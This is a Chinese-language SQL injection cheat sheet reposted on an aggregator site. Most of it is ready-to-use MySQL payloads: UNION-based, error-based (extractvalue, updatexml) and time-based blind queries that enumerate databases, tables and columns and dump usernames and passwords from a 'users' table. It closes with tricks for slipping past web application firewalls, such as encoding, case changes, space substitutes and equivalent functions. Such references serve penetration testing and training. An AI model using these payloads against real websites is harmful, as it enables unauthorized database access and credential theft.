SQL注入备忘录
Posted gaonuoqi
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入备忘录相关的知识,希望对你有一定的参考价值。
常见注入类型
联合注入
布尔注入
报错注入
盲注(时间、布尔)
堆叠注入
三个重要表
information_schema.schemata存放库名的表
information_schema.tables存放表名的表
information_schema.columns存放字段名的表
其他信息
version() 查看数据库版本
user()查看当前用户
@@version_compile_os 操作系统
@@datadir 读取数据库路径
@@basedir mysql 获取安装路径
先确实构造的SQL语句,常见的类型 数字型、数字括号、单引号、单引号括号、双引号、双引号括号
联合注入
有显示位置的时候可以使用
确定列的数量,常用order by,group by 后面带数字,当数字大于列名就会报错
确定显示位置,让前面sql查找为空,union select 1,2,3 ... 找到显示位置
union select group_concat(table_name) from information_schema.tables where table_schema=database() --+ 暴露表名 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users‘ --+ 暴露列名 union select 1,2,group_concat(username,password) from users--+ 暴露数据
报错注入
基于extractvalue函数
and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata))) --+ 暴露数据库名 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+ 暴露表名 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users‘))) --+ 暴露列名 and extractvalue(1,concat(0x7e,(select group_concat(username,password) from users))) --+ 暴露数据
基于updatexml函数
and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),0) --+ 暴露表名 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database())),0) --+ 暴露列名 and updatexml(1,concat(0x7e,(select group_concat(username,password) from users)),0) --+ 暴露数据
延时盲注
or if(length(database())=8,sleep(3),1) --+ 数据库长度 or if(ord(mid(database(),1,1))=115,sleep(4),1) --+ 数据库名 or if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(3),1) --+ 表的数量 or if((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6,sleep(3),1) --+ 表的长度 or if(ord(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<150,sleep(5),1) --+ 第一个表名 or if((select count(column_name) from information_schema.columns where table_name=‘users‘)<10,sleep(5),1) --+ users表中列的数量 or if((select length(column_name) from information_schema.columns where table_name=‘users‘ limit 0,1)<5,sleep(3),1) --+ 列的长度 or if(ord(mid((select column_name from information_schema.columns where table_name=‘users‘ limit 0,1),1,1))<150,sleep(2),1) --+ 列名 or if(ord(mid((select username from users limit 0,1),1,1))=68,sleep(3),1) --+ users表username列名中数据的内容
绕过WAF
可以尝试大小写绕过 、双写绕过,或者十六进制编码、URL编码绕过
过滤and 可以用&&
过滤or 可以用 ||
过滤空格 可以用 %20 %09 %0a %0b %0c %0d /**/ /*!*/
功能相同函数
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
以上是关于SQL注入备忘录的主要内容,如果未能解决你的问题,请参考以下文章
安全测试 web安全测试 常规安全漏洞 可能存在SQL和JS注入漏洞场景分析。为什么自己没有找到漏洞,哪么可能存在漏洞场景是?SQL注入漏洞修复 JS注入漏洞修复 漏洞存在场景分析和修复示例(代码片段